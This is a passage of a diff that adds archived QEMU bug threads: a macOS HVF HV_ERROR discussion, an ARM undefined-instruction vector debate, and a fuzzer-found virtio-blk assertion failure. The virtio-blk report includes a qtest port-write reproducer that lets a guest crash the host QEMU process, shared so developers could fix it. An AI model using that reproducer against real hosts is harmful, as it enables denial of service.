0x0000000000000083 +qemu-system-x86_64: instruction error: 0x0000000000000007 +qemu-system-x86_64: VM-EXECUTION CONTROL FIELDS +qemu-system-x86_64: Pin-Based VM-Execution Controls +qemu-system-x86_64: pin based ctls: 0x000000000000003f +qemu-system-x86_64: pin based caps: 0x0000007f0000003f +qemu-system-x86_64: Processor-Based VM-Execution Controls +qemu-system-x86_64: pri proc based ctls: 0x0000000095206dfa +qemu-system-x86_64: pri proc based caps: 0xfdf9fffe9500697a +qemu-system-x86_64: sec proc based ctls: 0x00000000000000a3 +qemu-system-x86_64: sec proc based caps: 0x00011cef000000a2 +qemu-system-x86_64: CR3-Target Controls +qemu-system-x86_64: cr3 target count: 0x0000000000000000 +qemu-system-x86_64: MSR-Bitmap Address: 0x000000000000003f +qemu-system-x86_64: VM-EXIT CONTROL FIELDS +qemu-system-x86_64: VM-Exit Controls +qemu-system-x86_64: vm exit ctls: 0x0000000000236fff +qemu-system-x86_64: vm exit caps: 0x00636fff00236fff +qemu-system-x86_64: VM-ENTRY CONTROL FIELDS +qemu-system-x86_64: VM-Entry Controls +qemu-system-x86_64: vm entry ctls: 0x00000000000093ff +qemu-system-x86_64: vm entry caps: 0x000093ff000091ff +qemu-system-x86_64: Error: HV_ERROR + +It's not possible to allocate MSR bitmap in userspace because it requires a physical address to be stored in the VMCS field. However, the bitmap page is already allocated inside kernel part of Hypervisor.framework. The 4k bitmap region is aligned to page boundary. It's worth to continue inspection of the checks (26.2 CHECKS ON VMX CONTROLS AND HOST-STATE AREA). + +The reason why MSR Bitmap Address has weird value is because it's not necessarily the value of the VMCS field (albeit VMCS_CTRL_MSR_BITMAPS is defined in hv_arch_vmx.h). HVF uses an internal lookup table that has a limited set of VMCS fields exposed by Apple. The list is documented at the reference page: https://developer.apple.com/documentation/hypervisor/1469436-virtual_machine_control_structur + +It's likely that 0x3f is a field from the VMCS lookup table. Given the signature of hv_vmx_vcpu_read_vmcs, I would expect an error (e.g. HV_BAD_ARGUMENT) to be returned instead of the silent failure. I have submitted FB6858948 to Apple to correct the behaviour. + +So, Apple doesn't provide an explicit access to MSR Bitmap Address field but allows to control the bitmap via hv_vcpu_enable_native_msr. + +During the inspection of Apple reference, I have noticed that Guest CR0 and CR0 Guest/Host Mask has incorrect value. Apple defines that Guest CR0 is writable only if: +CR0.CD and CR0.NW are unset + +But hvf accel code follows Intel SDM "Table 9-1. IA-32 and Intel 64 Processor States Following Power-up, Reset, or INIT" and sets CR0 value to: 0x60000010 + +Likewise, CR0 Guest/Host Mask is conditionally writable if: +CR0.CD and CR0.NW are set + +I doubt if it's related to the HV_ERROR issue but I'll prepare a patch to fix both fields (and likely set CR0 Read Shadow). + +Are there any updates? Trying to run the IE11 image from Microsoft (based on Windows 8.1) and it is crashing with this error sporadically :-\ + +I'm not exactly sure what commit improved the situation (either https://git.qemu.org/?p=qemu.git;a=commit;h=e37aa8b0e410 or https://git.qemu.org/?p=qemu.git;a=commit;h=fbafbb6db7742) but I have noticed that sporadic failures are gone after the series was applied: https://lists.gnu.org/archive/html/qemu-devel/2019-11/msg03977.html + +The issue should be fixed in QEMU v5.0+ + +I'm getting this error immediately and consistently when trying to boot the Win10 ISO with the following command: + +$ qemu-system-x86_64 -M accel=hvf -cpu host -smp 2 -hda windows-image.img -cdrom Win10_20H2_English_x64.iso -m 8G -vga virtio -usb -device usb-tablet -display default -boot d +qemu-system-x86_64: Error: HV_ERROR +[1] 3921 abort qemu-system-x86_64 -M accel=hvf -cpu host -smp 2 -hda windows-image.img -cdro + +$ qemu-system-x86_64 --version +QEMU emulator version 5.1.0 +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +Running on MacOS 11.0.1 + +Same here. Also on macOS host: + +$ qemu-system-x86_64 -machine type=q35,accel=hvf \ +-cpu max \ +-smp 2 \ +-hda ubuntu.qcow2 \ +-cdrom ./ubuntu-20.04.1-desktop-amd64.iso \ +-m 2G \ +-vga virtio \ +-usb \ +-device usb-tablet \ +-display default,show-cursor=on +qemu-system-x86_64: Error: HV_ERROR +[1] 77901 abort qemu-system-x86_64 -machine type=q35,accel=hvf -cpu max -smp 2 -hda -cdrom + +$ qemu-system-x86_64 --version +QEMU emulator version 5.1.0 +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +$ sysctl -a | grep machdep.cpu.brand_string +machdep.cpu.brand_string: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz + + +Same here on macOS 11.0.1 when specifying accel=hvf. Crash report is attached. + +$ qemu-system-x86_64 -machine accel=hvf -smp 2 -m 2G -hda current.qcow -boot d -cdrom ubuntu-18.04.5-desktop-amd64.iso +qemu-system-x86_64: Error: HV_ERROR +[1] 2912 abort qemu-system-x86_64 -machine accel=hvf -smp 2 -m 2G -hda -boot d -cdrom + +$ qemu-system-x86_64 --version +QEMU emulator version 5.1.0 +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +$ sysctl -a | grep machdep.cpu.brand_string +machdep.cpu.brand_string: Intel(R) Core(TM) i7-1068NG7 CPU @ 2.30GH + +For the Mac Big sur 11.0.1 or 11.1, the HV_ERROR issue was caused by code signing issue. +the com.apple.vm.hypervisor is deprecated and now is com.apple.security.hypervisor + +Following pages worth of checking: +https://stackoverflow.com/questions/64642062/apple-hypervisor-is-completely-broken-on-macos-big-sur-beta-11-0-1 +https://superuser.com/questions/1436370/how-to-codesign-gdb-on-os-x-mojave + +so, basically, just need to codesign entitlement of qemu-system-x86_64 binary file and it will. + +I am now able to boot the linux iso without problem, but Windows 10 iso still hang at boot.....unfortnately. + + diff --git a/results/classifier/deepseek-1/output/QEMU./1910941 b/results/classifier/deepseek-1/output/QEMU./1910941 new file mode 100644 index 00000000..91d1ecb6 --- /dev/null +++ b/results/classifier/deepseek-1/output/QEMU./1910941 @@ -0,0 +1,131 @@ + +Assertion `addr < cache->len && 2 <= cache->len - addr' in virtio-blk + +Hello, + +Using hypervisor fuzzer, hyfuzz, I found an assertion failure through virtio-blk emulator. + +A malicious guest user/process could use this flaw to abort the QEMU process on the host, resulting in a denial of service. + +This was found in version 5.2.0 (master) + +``` + +qemu-system-i386: /home/cwmyung/prj/hyfuzz/src/qemu-master/include/exec/memory_ldst_cached.h.inc:88: void address_space_stw_le_cached(MemoryRegionCache *, hwaddr, uint32_t, MemTxAttrs, MemTxResult *): Assertion `addr < cache->len && 2 <= cache->len - addr' failed. +[1] 1877 abort (core dumped) /home/cwmyung/prj/hyfuzz/src/qemu-master/build/i386-softmmu/qemu-system-i386 + +Program terminated with signal SIGABRT, Aborted. +#0 0x00007f71cc171f47 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51 +#1 0x00007f71cc1738b1 in __GI_abort () at abort.c:79 +#2 0x00007f71cc16342a in __assert_fail_base (fmt=0x7f71cc2eaa38 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x56537b324230 "addr < cache->len && 2 <= cache->len - addr", file=file@entry=0x56537b32425c "/home/cwmyung/prj/hyfuzz/src/qemu-master/include/exec/memory_ldst_cached.h.inc", line=line@entry=0x58, function=function@entry=0x56537b3242ab "void address_space_stw_le_cached(MemoryRegionCache *, hwaddr, uint32_t, MemTxAttrs, MemTxResult *)") at assert.c:92 +#3 0x00007f71cc1634a2 in __GI___assert_fail (assertion=0x56537b324230 "addr < cache->len && 2 <= cache->len - addr", file=0x56537b32425c "/home/cwmyung/prj/hyfuzz/src/qemu-master/include/exec/memory_ldst_cached.h.inc", line=0x58, function=0x56537b3242ab "void address_space_stw_le_cached(MemoryRegionCache *, hwaddr, uint32_t, MemTxAttrs, MemTxResult *)") at assert.c:101 +#4 0x000056537af3c917 in address_space_stw_le_cached (attrs=..., result=<optimized out>, cache=<optimized out>, addr=<optimized out>, val=<optimized out>) at /home/cwmyung/prj/hyfuzz/src/qemu-master/include/exec/memory_ldst_cached.h.inc:88 +#5 0x000056537af3c917 in stw_le_phys_cached (cache=<optimized out>, addr=<optimized out>, val=<optimized out>) at /home/cwmyung/prj/hyfuzz/src/qemu-master/include/exec/memory_ldst_phys.h.inc:121 +#6 0x000056537af3c917 in virtio_stw_phys_cached (vdev=<optimized out>, cache=<optimized out>, pa=<optimized out>, value=<optimized out>) at /home/cwmyung/prj/hyfuzz/src/qemu-master/include/hw/virtio/virtio-access.h:196 +#7 0x000056537af2b809 in vring_set_avail_event (vq=<optimized out>, val=0x0) at ../hw/virtio/virtio.c:429 +#8 0x000056537af2b809 in virtio_queue_split_set_notification (vq=<optimized out>, enable=<optimized out>) at ../hw/virtio/virtio.c:438 +#9 0x000056537af2b809 in virtio_queue_set_notification (vq=<optimized out>, enable=0x1) at ../hw/virtio/virtio.c:499 +#10 0x000056537b07ce1c in virtio_blk_handle_vq (s=0x56537d6bb3a0, vq=0x56537d6c0680) at ../hw/block/virtio-blk.c:795 +#11 0x000056537af3eb4d in virtio_queue_notify_aio_vq (vq=0x56537d6c0680) at ../hw/virtio/virtio.c:2326 +#12 0x000056537af3ba04 in virtio_queue_host_notifier_aio_read (n=<optimized out>) at ../hw/virtio/virtio.c:3533 +#13 0x000056537b20901c in aio_dispatch_handler (ctx=0x56537c4179f0, node=0x7f71a810b370) at ../util/aio-posix.c:329 +#14 0x000056537b20838c in aio_dispatch_handlers (ctx=<optimized out>) at ../util/aio-posix.c:372 +#15 0x000056537b20838c in aio_dispatch (ctx=0x56537c4179f0) at ../util/aio-posix.c:382 +#16 0x000056537b1f99cb in aio_ctx_dispatch (source=0x2, callback=0x7ffc8add9f90, user_data=0x0) at ../util/async.c:306 +#17 0x00007f71d1c10417 in g_main_context_dispatch () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#18 0x000056537b1f1bab in glib_pollfds_poll () at ../util/main-loop.c:232 +#19 0x000056537b1f1bab in os_host_main_loop_wait (timeout=<optimized out>) at ../util/main-loop.c:255 +#20 0x000056537b1f1bab in main_loop_wait (nonblocking=<optimized out>) at ../util/main-loop.c:531 +#21 0x000056537af879d7 in qemu_main_loop () at ../softmmu/runstate.c:720 +#22 0x000056537a928a3b in main (argc=<optimized out>, argc@entry=0x15, argv=<optimized out>, argv@entry=0x7ffc8adda718, envp=<optimized out>) at ../softmmu/main.c:50 +#23 0x00007f71cc154b97 in __libc_start_main (main=0x56537a928a30 <main>, argc=0x15, argv=0x7ffc8adda718, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffc8adda708) at ../csu/libc-start.c:310 +#24 0x000056537a92894a in _start () + +``` + +To reproduce this issue, please run the QEMU with the following command line. + +``` + +# To reproduce this issue, please run the QEMU process with the following command line. + +$ qemu-system-i386 -m 512 -drive file=hyfuzz.img,index=0,media=disk,format=raw -device virtio-blk-pci,drive=drive0,id=virtblk0,num-queues=4 -drive file=disk.img,if=none,id=drive0 + +``` + +Please let me know if I can provide any further info. + +Thank you. + + + +This is OSS-Fuzz Issue 26797 + +=== Reproducer === +cat << EOF | ./qemu-system-i386 -machine q35 \ +-device virtio-blk,drive=disk0 \ +-drive file=null-co://,id=disk0,if=none,format=raw \ +-serial none -monitor none -qtest stdio -nographic +outl 0xcf8 0x80001890 +outl 0xcfc 0x4 +outl 0xcf8 0x8000188a +outl 0xcfc 0xd4624 +outl 0xcf8 0x80001894 +outl 0xcfc 0x20000002 +outl 0xcf8 0x80001889 +outl 0xcfc 0x18000000 +outl 0xcf8 0x80001896 +outl 0xcfc 0x0 +outl 0xcf8 0x8000188c +outw 0xcfc 0x20 +outl 0xcf8 0x80001894 +outl 0xcfc 0x1 +outl 0xcf8 0x8000188c +outw 0xcfc 0x1c +outl 0xcf8 0x80001895 +outl 0xcfc 0x0 +outl 0xcf8 0x80001889 +outl 0xcfc 0x18000000 +outl 0xcf8 0x80001894 +outl 0xcfc 0x40 +outl 0xcf8 0x8000188c +outw 0xcfc 0x14 +outl 0xcf8 0x80001894 +outl 0xcfc 0x1004 +EOF + +=== Stack Trace === +qemu-fuzz-i386-target-generic-fuzz-virtio-blk: /src/qemu/include/exec/memory_ldst_cached.h.inc:88: void address_space_stw_le_cached(MemoryRegionCache *, hwaddr, uint32_t, MemTxAttrs, MemTxResult *): Assertion `addr < cache->len && 2 <= cache->len - addr' failed. + +==2382430== ERROR: libFuzzer: deadly signal +#8 address_space_stw_le_cached /src/qemu/include/exec/memory_ldst_cached.h.inc:88:5 +#9 stw_le_phys_cached /src/qemu/include/exec/memory_ldst_phys.h.inc:121:5 +#10 virtio_stw_phys_cached /src/qemu/include/hw/virtio/virtio-access.h:196:9 +#11 vring_set_avail_event /src/qemu/hw/virtio/virtio.c:429:5 +#12 virtio_queue_split_set_notification /src/qemu/hw/virtio/virtio.c:438:9 +#13 virtio_queue_set_notification /src/qemu/hw/virtio/virtio.c:499:9 +#14 virtio_blk_handle_vq /src/qemu/hw/block/virtio-blk.c:795:13 +#15 virtio_blk_data_plane_handle_output /src/qemu/hw/block/dataplane/virtio-blk.c:165:12 +#16 virtio_queue_notify_aio_vq /src/qemu/hw/virtio/virtio.c:2326:15 +#17 virtio_queue_host_notifier_aio_read /src/qemu/hw/virtio/virtio.c:3533:9 +#18 aio_dispatch_handler /src/qemu/util/aio-posix.c:329:9 +#19 aio_dispatch_handlers /src/qemu/util/aio-posix.c:372:20 +#20 aio_dispatch /src/qemu/util/aio-posix.c:382:5 +#21 aio_ctx_dispatch /src/qemu/util/async.c:306:5 +#22 g_main_context_dispatch +#23 glib_pollfds_poll /src/qemu/util/main-loop.c:232:9 +#24 os_host_main_loop_wait /src/qemu/util/main-loop.c:255:5 +#25 main_loop_wait /src/qemu/util/main-loop.c:531:11 +#26 flush_events /src/qemu/tests/qtest/fuzz/fuzz.c:49:9 +#27 generic_fuzz /src/qemu/tests/qtest/fuzz/generic_fuzz.c:683:17 + +https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=2qemu-fuzz-i386-target-generic-fuzz-virtio-blk: /src/qemu/include/exec/memory_ldst_cached.h.inc:88: void address_space_stw_le_cached(MemoryRegionCache *, hwaddr, uint32_t, MemTxAttrs, MemTxResult *): Assertion `addr < cache->len && 2 <= cache->len - addr' failed.6797 + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/301 + + diff --git a/results/classifier/deepseek-1/output/QEMU./757702 b/results/classifier/deepseek-1/output/QEMU./757702 new file mode 100644 index 00000000..9f38e13b --- /dev/null +++ b/results/classifier/deepseek-1/output/QEMU./757702 @@ -0,0 +1,842 @@ + +ARM: singlestepping insn which UNDEFs should stop at UNDEF vector insn, not after it + +ARMv7a has lot of undefined instruction from its instruction opcode space. This undefined instructions are very useful for replacing sensitive non-priviledged instructions of guest operating systems (virtualization). The undefined instruction exception executes at <exception_base> + 0x4, where <exception_base> can be 0x0 or 0xfff00000. Currently, in qemu 0.14.0 undefined instruction fault at 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, seems like this is a new bug. As as example, if we try to execute value "0xec019800" in qemu 0.14.0 then it should cause undefined exception at <exception_base>+0x4 since "0xec019800" is an undefined instruction. + +I can't reproduce this (either with current trunk or with qemu 0.14.0 release version). Also, if we were directing UNDEF exceptions to the SVC entry point I think it would cause fairly obvious breakage of Linux guests. + +I'm going to attach the test program I used to confirm that we are correctly directing the exception to the 0x4 vector: + +./arm-softmmu/qemu-system-arm -kernel ~/linaro/qemu-misc-tests/undef-exc.axf -semihosting +Starting test +In undef vector + +I'll also attach the binary, since it's only 2K and the source needs armcc to build. + +If you can provide a simple test program and qemu command line which demonstrates the behaviour you think is incorrect I can investigate further. + + + + + + +> ARMv7a has lot of undefined instruction from its instruction opcode space. This undefined instructions +>are very useful for replacing sensitive non-priviledged instructions of guest operating systems (virtualization). + +PS: please don't use arbitrary UNDEF instruction patterns for this (the one you quoted is in the STC instruction space for example). There's an officially-defined "permanently UNDEF" space: + cond 0111 1111 xxxx xxxx xxxx 1111 xxxx +available for this purpose, which will mean you don't have to worry about newer versions of the architecture allocating the UNDEF patterns you were using. + + +Hi, + +You are right, I have deliberately used an instruction from a "permanently +UNDEF" space. I have used this instruction because thats this are the only +UNDEF instructions with maximum payload of 20 bits. + +Also, the instruction "0xec019800" does not belong to STC instruction space. +GNU object dump does not display it as undefined instruction due to internal +bug, but it is definitely an undefined instruction. +May be the undefined instructions from "permanently UNDEF" space are only +executing from offset 0x8 in QEMU 0.14.0. It used to work fine with QEMU +0.13.0. + +PFA, my test elf file. The UNDEF instruction that i have reported is +at location 0x100058 in this elf file. The execution of elf file starts from +0x100000. + +I have launched qemu with command: ./qemu-system-arm -s -S -M realview-pb-a8 +-serial stdio -kernel ../../../xvisor/tests/armv7/pb-a8/arm_test.elf +I am debugging using gdb command: arm-none-eabi-gdb arm_test.elf +--eval-command="target remote localhost:1234" + +Please let me know if you are not able to reproduce the bug. + +--Anup + +On Tue, Apr 12, 2011 at 3:13 PM, Peter Maydell <email address hidden>wrote: + +> > ARMv7a has lot of undefined instruction from its instruction opcode +> space. This undefined instructions +> >are very useful for replacing sensitive non-priviledged instructions of +> guest operating systems (virtualization). +> +> PS: please don't use arbitrary UNDEF instruction patterns for this (the one +> you quoted is in the STC instruction space for example). There's an +> officially-defined "permanently UNDEF" space: +> cond 0111 1111 xxxx xxxx xxxx 1111 xxxx +> available for this purpose, which will mean you don't have to worry about +> newer versions of the architecture allocating the UNDEF patterns you were +> using. +> +> -- +> You received this bug notification because you are a direct subscriber +> of the bug. +> https://bugs.launchpad.net/bugs/757702 +> +> Title: +> Undefined instruction exception starts at offset 0x8 instead of 0x4 +> +> Status in QEMU: +> New +> +> Bug description: +> ARMv7a has lot of undefined instruction from its instruction opcode +> space. This undefined instructions are very useful for replacing +> sensitive non-priviledged instructions of guest operating systems +> (virtualization). The undefined instruction exception executes at +> <exception_base> + 0x4, where <exception_base> can be 0x0 or +> 0xfff00000. Currently, in qemu 0.14.0 undefined instruction fault at +> 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, +> seems like this is a new bug. As as example, if we try to execute +> value "0xec019800" in qemu 0.14.0 then it should cause undefined +> exception at <exception_base>+0x4 since "0xec019800" is an undefined +> instruction. +> +> To unsubscribe from this bug, go to: +> https://bugs.launchpad.net/qemu/+bug/757702/+subscribe +> + + +Hi + +The correct command to launch qemu will be: ./qemu-system-arm -s -S -M +realview-pb-a8 -serial stdio -kernel arm_test.elf +Sorry, for mistake in previous mail. + +--Anup + +On Tue, Apr 12, 2011 at 3:48 PM, Anup Patel +<email address hidden>wrote: + +> Hi, +> +> You are right, I have deliberately used an instruction from a "permanently +> UNDEF" space. I have used this instruction because thats this are the only +> UNDEF instructions with maximum payload of 20 bits. +> +> Also, the instruction "0xec019800" does not belong to STC instruction +> space. GNU object dump does not display it as undefined instruction due to +> internal bug, but it is definitely an undefined instruction. +> May be the undefined instructions from "permanently UNDEF" space are only +> executing from offset 0x8 in QEMU 0.14.0. It used to work fine with QEMU +> 0.13.0. +> +> PFA, my test elf file. The UNDEF instruction that i have reported is +> at location 0x100058 in this elf file. The execution of elf file starts from +> 0x100000. +> +> I have launched qemu with command: ./qemu-system-arm -s -S -M +> realview-pb-a8 -serial stdio -kernel +> ../../../xvisor/tests/armv7/pb-a8/arm_test.elf +> I am debugging using gdb command: arm-none-eabi-gdb arm_test.elf +> --eval-command="target remote localhost:1234" +> +> Please let me know if you are not able to reproduce the bug. +> +> --Anup +> +> On Tue, Apr 12, 2011 at 3:13 PM, Peter Maydell <email address hidden>wrote: +> +>> > ARMv7a has lot of undefined instruction from its instruction opcode +>> space. This undefined instructions +>> >are very useful for replacing sensitive non-priviledged instructions of +>> guest operating systems (virtualization). +>> +>> PS: please don't use arbitrary UNDEF instruction patterns for this (the +>> one you quoted is in the STC instruction space for example). There's an +>> officially-defined "permanently UNDEF" space: +>> cond 0111 1111 xxxx xxxx xxxx 1111 xxxx +>> available for this purpose, which will mean you don't have to worry about +>> newer versions of the architecture allocating the UNDEF patterns you were +>> using. +>> +>> -- +>> You received this bug notification because you are a direct subscriber +>> of the bug. +>> https://bugs.launchpad.net/bugs/757702 +>> +>> Title: +>> Undefined instruction exception starts at offset 0x8 instead of 0x4 +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> ARMv7a has lot of undefined instruction from its instruction opcode +>> space. This undefined instructions are very useful for replacing +>> sensitive non-priviledged instructions of guest operating systems +>> (virtualization). The undefined instruction exception executes at +>> <exception_base> + 0x4, where <exception_base> can be 0x0 or +>> 0xfff00000. Currently, in qemu 0.14.0 undefined instruction fault at +>> 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, +>> seems like this is a new bug. As as example, if we try to execute +>> value "0xec019800" in qemu 0.14.0 then it should cause undefined +>> exception at <exception_base>+0x4 since "0xec019800" is an undefined +>> instruction. +>> +>> To unsubscribe from this bug, go to: +>> https://bugs.launchpad.net/qemu/+bug/757702/+subscribe +>> +> +> + + +> Also, the instruction "0xec019800" does not belong to STC instruction space. + +Yes it does. STC encoding A1 is: cond:4 110 p u d w 0 rn:4 crd:4 coproc:4 imm:8 +For STC the combination of P=0 U=0 D=0 W=0 is UNDEFINED, but it's still in STC space. This is not "permanently UNDEF", it might be allocated to do something in future. + +> PFA, my test elf file. + +Thanks. Your test case appears to be broken in that it doesn't actually set up the vector table at address 0: +cam-vm-266:karmic:qemu-misc-tests$ objdump --disassemble ~/Desktop/arm_test.elf |less + +[...] +Disassembly of section .text: + +00100000 <_start_vect>: + 100000: e59ff018 ldr pc, [pc, #24] ; 100020 <__reset> + 100004: e59ff018 ldr pc, [pc, #24] ; 100024 <__undefined_instruction> + 100008: e59ff018 ldr pc, [pc, #24] ; 100028 <__software_interrupt> + 10000c: e59ff018 ldr pc, [pc, #24] ; 10002c <__prefetch_abort> + 100010: e59ff018 ldr pc, [pc, #24] ; 100030 <__data_abort> + 100014: e59ff018 ldr pc, [pc, #24] ; 100034 <__not_used> + 100018: e59ff018 ldr pc, [pc, #24] ; 100038 <__irq> + 10001c: e59ff018 ldr pc, [pc, #24] ; 10003c <__fiq> + +So what happens is: +0x00100000: e59ff018 ldr pc, [pc, #24] # qemu starts us at the ELF entry point +0x00100054: e3a08000 mov r8, #0 ; 0x0 +0x00100054: e3a08000 mov r8, #0 ; 0x0 +0x00100058: ec019800 stc 8, cr9, [r1], {0} # here's our UNDEF +0x00000004: 00000000 andeq r0, r0, r0 # jump to UNDEF vector at 0x4 as expected +...but since nothing was loaded at address 0 the code is all NOPs and we just execute through it... +0x00000008: 00000000 andeq r0, r0, r0 +0x0000000c: 00000000 andeq r0, r0, r0 +0x00000010: 00000000 andeq r0, r0, r0 +...etc... + +and eventually we fall into the actual image start at 0x100000, and we go round in a big loop. + +You can tell we're going to the correct vector if you ask gdb to put a breakpoint there with "break *0x4" -- we hit it after executing the undef. + + +Actually, the undefined instruction that I have used is documented as +undefined at two places in "ARM Instruction Set Encoding" section of ARMv7a +reference manual: +1. Refer "Table A5-22 Supervisor Call, and coprocessor instructions" +2. Refer "A8.6.188 STC, STC2" + +So you see one can easily get confused that this instruction belongs to STC +space. Actually speaking this UNDEF instruction spans not only in STC space +but also in LDC space. + +--Anup + +On Tue, Apr 12, 2011 at 4:19 PM, Peter Maydell <email address hidden>wrote: + +> > Also, the instruction "0xec019800" does not belong to STC instruction +> space. +> +> Yes it does. STC encoding A1 is: cond:4 110 p u d w 0 rn:4 crd:4 coproc:4 +> imm:8 +> For STC the combination of P=0 U=0 D=0 W=0 is UNDEFINED, but it's still in +> STC space. This is not "permanently UNDEF", it might be allocated to do +> something in future. +> +> > PFA, my test elf file. +> +> Thanks. Your test case appears to be broken in that it doesn't actually set +> up the vector table at address 0: +> cam-vm-266:karmic:qemu-misc-tests$ objdump --disassemble +> ~/Desktop/arm_test.elf |less +> +> [...] +> Disassembly of section .text: +> +> 00100000 <_start_vect>: +> 100000: e59ff018 ldr pc, [pc, #24] ; 100020 <__reset> +> 100004: e59ff018 ldr pc, [pc, #24] ; 100024 +> <__undefined_instruction> +> 100008: e59ff018 ldr pc, [pc, #24] ; 100028 +> <__software_interrupt> +> 10000c: e59ff018 ldr pc, [pc, #24] ; 10002c +> <__prefetch_abort> +> 100010: e59ff018 ldr pc, [pc, #24] ; 100030 +> <__data_abort> +> 100014: e59ff018 ldr pc, [pc, #24] ; 100034 +> <__not_used> +> 100018: e59ff018 ldr pc, [pc, #24] ; 100038 <__irq> +> 10001c: e59ff018 ldr pc, [pc, #24] ; 10003c <__fiq> +> +> So what happens is: +> 0x00100000: e59ff018 ldr pc, [pc, #24] # qemu starts us at the ELF +> entry point +> 0x00100054: e3a08000 mov r8, #0 ; 0x0 +> 0x00100054: e3a08000 mov r8, #0 ; 0x0 +> 0x00100058: ec019800 stc 8, cr9, [r1], {0} # here's our UNDEF +> 0x00000004: 00000000 andeq r0, r0, r0 # jump to UNDEF vector +> at 0x4 as expected +> ...but since nothing was loaded at address 0 the code is all NOPs and we +> just execute through it... +> 0x00000008: 00000000 andeq r0, r0, r0 +> 0x0000000c: 00000000 andeq r0, r0, r0 +> 0x00000010: 00000000 andeq r0, r0, r0 +> ...etc... +> +> and eventually we fall into the actual image start at 0x100000, and we +> go round in a big loop. +> +> You can tell we're going to the correct vector if you ask gdb to put a +> breakpoint there with "break *0x4" -- we hit it after executing the +> undef. +> +> -- +> You received this bug notification because you are a direct subscriber +> of the bug. +> https://bugs.launchpad.net/bugs/757702 +> +> Title: +> Undefined instruction exception starts at offset 0x8 instead of 0x4 +> +> Status in QEMU: +> New +> +> Bug description: +> ARMv7a has lot of undefined instruction from its instruction opcode +> space. This undefined instructions are very useful for replacing +> sensitive non-priviledged instructions of guest operating systems +> (virtualization). The undefined instruction exception executes at +> <exception_base> + 0x4, where <exception_base> can be 0x0 or +> 0xfff00000. Currently, in qemu 0.14.0 undefined instruction fault at +> 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, +> seems like this is a new bug. As as example, if we try to execute +> value "0xec019800" in qemu 0.14.0 then it should cause undefined +> exception at <exception_base>+0x4 since "0xec019800" is an undefined +> instruction. +> +> To unsubscribe from this bug, go to: +> https://bugs.launchpad.net/qemu/+bug/757702/+subscribe +> + + +Also, in the test case hits 0x8 after encountering UNDEF instruction at +0x100058. +The test case is not broken it failed in initialization sequence itself. + +PS: I had download most recent version of QEMU 0.14.0 and build it my self. + +On Tue, Apr 12, 2011 at 4:33 PM, Anup Patel +<email address hidden>wrote: + +> Actually, the undefined instruction that I have used is documented as +> undefined at two places in "ARM Instruction Set Encoding" section of ARMv7a +> reference manual: +> 1. Refer "Table A5-22 Supervisor Call, and coprocessor instructions" +> 2. Refer "A8.6.188 STC, STC2" +> +> So you see one can easily get confused that this instruction belongs to STC +> space. Actually speaking this UNDEF instruction spans not only in STC space +> but also in LDC space. +> +> --Anup +> +> On Tue, Apr 12, 2011 at 4:19 PM, Peter Maydell <email address hidden>wrote: +> +>> > Also, the instruction "0xec019800" does not belong to STC instruction +>> space. +>> +>> Yes it does. STC encoding A1 is: cond:4 110 p u d w 0 rn:4 crd:4 coproc:4 +>> imm:8 +>> For STC the combination of P=0 U=0 D=0 W=0 is UNDEFINED, but it's still in +>> STC space. This is not "permanently UNDEF", it might be allocated to do +>> something in future. +>> +>> > PFA, my test elf file. +>> +>> Thanks. Your test case appears to be broken in that it doesn't actually +>> set up the vector table at address 0: +>> cam-vm-266:karmic:qemu-misc-tests$ objdump --disassemble +>> ~/Desktop/arm_test.elf |less +>> +>> [...] +>> Disassembly of section .text: +>> +>> 00100000 <_start_vect>: +>> 100000: e59ff018 ldr pc, [pc, #24] ; 100020 <__reset> +>> 100004: e59ff018 ldr pc, [pc, #24] ; 100024 +>> <__undefined_instruction> +>> 100008: e59ff018 ldr pc, [pc, #24] ; 100028 +>> <__software_interrupt> +>> 10000c: e59ff018 ldr pc, [pc, #24] ; 10002c +>> <__prefetch_abort> +>> 100010: e59ff018 ldr pc, [pc, #24] ; 100030 +>> <__data_abort> +>> 100014: e59ff018 ldr pc, [pc, #24] ; 100034 +>> <__not_used> +>> 100018: e59ff018 ldr pc, [pc, #24] ; 100038 <__irq> +>> 10001c: e59ff018 ldr pc, [pc, #24] ; 10003c <__fiq> +>> +>> So what happens is: +>> 0x00100000: e59ff018 ldr pc, [pc, #24] # qemu starts us at the +>> ELF entry point +>> 0x00100054: e3a08000 mov r8, #0 ; 0x0 +>> 0x00100054: e3a08000 mov r8, #0 ; 0x0 +>> 0x00100058: ec019800 stc 8, cr9, [r1], {0} # here's our UNDEF +>> 0x00000004: 00000000 andeq r0, r0, r0 # jump to UNDEF +>> vector at 0x4 as expected +>> ...but since nothing was loaded at address 0 the code is all NOPs and we +>> just execute through it... +>> 0x00000008: 00000000 andeq r0, r0, r0 +>> 0x0000000c: 00000000 andeq r0, r0, r0 +>> 0x00000010: 00000000 andeq r0, r0, r0 +>> ...etc... +>> +>> and eventually we fall into the actual image start at 0x100000, and we +>> go round in a big loop. +>> +>> You can tell we're going to the correct vector if you ask gdb to put a +>> breakpoint there with "break *0x4" -- we hit it after executing the +>> undef. +>> +>> -- +>> You received this bug notification because you are a direct subscriber +>> of the bug. +>> https://bugs.launchpad.net/bugs/757702 +>> +>> Title: +>> Undefined instruction exception starts at offset 0x8 instead of 0x4 +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> ARMv7a has lot of undefined instruction from its instruction opcode +>> space. This undefined instructions are very useful for replacing +>> sensitive non-priviledged instructions of guest operating systems +>> (virtualization). The undefined instruction exception executes at +>> <exception_base> + 0x4, where <exception_base> can be 0x0 or +>> 0xfff00000. Currently, in qemu 0.14.0 undefined instruction 